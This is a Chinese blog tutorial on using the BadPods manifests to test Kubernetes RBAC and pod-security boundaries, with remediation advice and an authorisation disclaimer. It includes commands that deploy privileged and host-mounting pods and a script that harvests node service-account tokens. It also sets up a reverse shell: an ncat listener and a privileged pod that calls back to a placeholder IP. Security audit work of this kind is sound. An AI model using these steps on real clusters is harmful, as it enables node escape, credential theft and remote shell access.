Kubernetes权限审计实战:基于BadPods的RBAC权限边界测试
2026/8/10 19:11:35 网站建设 项目流程

Kubernetes权限审计实战:基于BadPods的RBAC权限边界测试

【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods

BadPods是一个专注于Kubernetes权限边界测试的开源项目,通过提供一系列预配置的清单文件,帮助安全工程师和DevOps团队快速识别集群中存在的权限过度分配风险。本文将详细介绍如何利用BadPods进行实战化的RBAC权限审计,通过模拟真实攻击场景来验证集群的安全边界。

为什么需要Kubernetes权限审计?

随着Kubernetes在生产环境中的广泛应用,容器编排平台的安全问题日益凸显。根据2023年云原生安全报告显示,超过65%的Kubernetes集群存在至少一项高危权限配置问题,其中最常见的包括:

  • 过度宽松的PodSecurityPolicy配置
  • 未受限制的主机资源访问(hostPath、hostNetwork等)
  • 过度授权的Service Account令牌
  • 缺乏最小权限原则的RBAC策略

这些配置缺陷可能导致攻击者通过恶意Pod实现权限提升、节点逃逸甚至整个集群的接管。BadPods项目正是为解决这些问题而生,它提供了一套标准化的测试用例,能够帮助团队在真实攻击发生前发现并修复权限配置问题。

BadPods项目结构与核心功能

BadPods项目包含8种不同权限级别的恶意Pod定义,每种Pod针对特定的安全敏感属性进行配置。项目的核心结构如下:

manifests/ ├── everything-allowed/ # 拥有全部特权的Pod ├── priv-and-hostpid/ # 特权模式+主机PID命名空间 ├── priv/ # 仅特权模式 ├── hostpath/ # 仅主机路径挂载 ├── hostpid/ # 仅主机PID命名空间 ├── hostnetwork/ # 仅主机网络 ├── hostipc/ # 仅主机IPC命名空间 └── nothing-allowed/ # 无特殊权限的对照组

每个权限类型下又包含8种不同的Kubernetes资源定义(Pod、Deployment、DaemonSet等),以及两种访问方式(exec直接执行和reverse shell反向连接),总计提供128个即用型安全测试清单。

快速开始:BadPods环境部署

环境准备

进行BadPods测试前,需确保满足以下条件:

  • 拥有Kubernetes集群访问权限
  • 具备创建至少一种工作负载资源的RBAC权限
  • 能够执行kubectl exec命令或配置网络策略允许反向连接

安装步骤

  1. 克隆项目仓库:
git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods
  1. 部署基础测试Pod套件:
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
  1. 验证部署结果:
kubectl get pods | grep -E "everything-allowed|priv|hostpath"

核心测试场景与实施方法

1. 特权Pod权限边界测试

特权Pod(Privileged Pod)是最危险的配置之一,它拥有主机系统的root权限,几乎可以执行任何操作。BadPods提供了专门的测试用例来验证集群是否允许创建特权Pod。

测试步骤

# 部署特权Pod测试用例 kubectl apply -f manifests/priv/pod/priv-exec-pod.yaml # 检查Pod状态 kubectl get pods -l app=priv-exec-pod # 若Pod成功运行,执行权限测试 kubectl exec -it <pod-name> -- bash -c "cat /proc/1/cgroup"

预期结果

  • 安全配置的集群应拒绝创建特权Pod
  • 若Pod创建成功,表明集群存在严重权限缺陷,需立即修复

2. 主机资源访问测试

Kubernetes允许Pod通过特定配置访问主机系统资源,包括文件系统、网络栈、进程空间等。这些配置如果被滥用,将导致严重的安全风险。

HostPath挂载测试

# 部署hostPath测试Pod kubectl apply -f manifests/hostpath/pod/hostpath-exec-pod.yaml # 检查是否成功挂载主机根文件系统 kubectl exec -it <pod-name> -- ls /host

HostNetwork测试

# 部署hostNetwork测试Pod kubectl apply -f manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml # 检查网络命名空间 kubectl exec -it <pod-name> -- ip addr | grep -E "eth0|lo"

3. RBAC权限映射分析

BadPods项目提供了一个强大的辅助脚本can-they.sh,能够帮助分析当前集群中各Service Account的实际权限范围。

脚本使用方法

# 从Pod内部运行(适用于hostPath或everything-allowed类型Pod) ./scripts/can-they.sh "-i list secrets -n kube-system" # 从外部运行(适用于priv-and-hostpid类型Pod) ./scripts/can-they.sh -n default -p priv-and-hostpid-exec-pod -i "create pods -n kube-system"

输出解读: 脚本将遍历集群中的所有令牌,测试指定操作的权限,并输出类似以下结果:

-------------------------------------------------------- Token Location: /host/var/lib/kubelet/pods/xxxx/token Can I list secrets -n kube-system? yes

权限审计报告与修复建议

完成BadPods测试后,需要根据结果生成权限审计报告,重点关注以下几个方面:

关键发现项

  1. 高危权限配置

    • 允许创建特权Pod的命名空间
    • 拥有hostPath挂载权限的Service Account
    • 能够访问主机网络/进程的工作负载
  2. 过度授权分析

    • 列出所有能够创建多种资源类型的角色
    • 识别具有cluster-admin等效权限的账户
    • 检查是否存在通配符权限(如*资源或*动词)

修复建议

  1. 实施最小权限原则

    • 为每个应用创建专用Service Account
    • 严格限制角色权限,避免使用通配符
    • 定期审查并撤销不再需要的权限
  2. 启用Pod安全标准

    • 在Kubernetes 1.25+中启用PodSecurity Admission
    • 为不同环境配置适当的安全级别(Privileged、Baseline、Restricted)
    • 对关键命名空间实施严格的安全策略
  3. 增强监控与检测

    • 部署Audit Log监控异常权限使用
    • 配置Prometheus规则告警特权Pod创建
    • 实施运行时安全监控解决方案

高级使用技巧:定制化测试方案

批量测试所有资源类型

BadPods支持通过find命令批量部署同一权限级别的所有资源类型:

# 部署everything-allowed类型的所有exec资源 find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \; # 清理测试资源 find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

反向Shell测试

当无法直接执行kubectl exec时,可以使用BadPods提供的反向Shell测试用例:

# 在本地启动监听 ncat --ssl -vlp 4433 # 在目标集群部署反向Shell Pod HOST="your-ip" PORT="4433" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -

总结与最佳实践

Kubernetes权限审计是云原生安全的关键环节,BadPods项目为这一过程提供了标准化、可重复的测试方法。通过本文介绍的方法,安全团队可以:

  1. 快速评估Kubernetes集群的权限配置风险
  2. 验证RBAC策略的有效性和边界
  3. 识别并修复过度宽松的安全配置
  4. 建立持续的权限监控与审计流程

建议将BadPods测试整合到CI/CD流程中,作为集群部署前的安全检查环节,同时定期(如每季度)进行全面的权限审计,确保随着集群的演化,安全边界得到持续维护。

最后需要强调的是,BadPods项目仅用于合法的安全测试和审计目的,未经授权的使用可能违反法律法规和组织政策。始终在获得明确授权的情况下进行安全测试。

【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询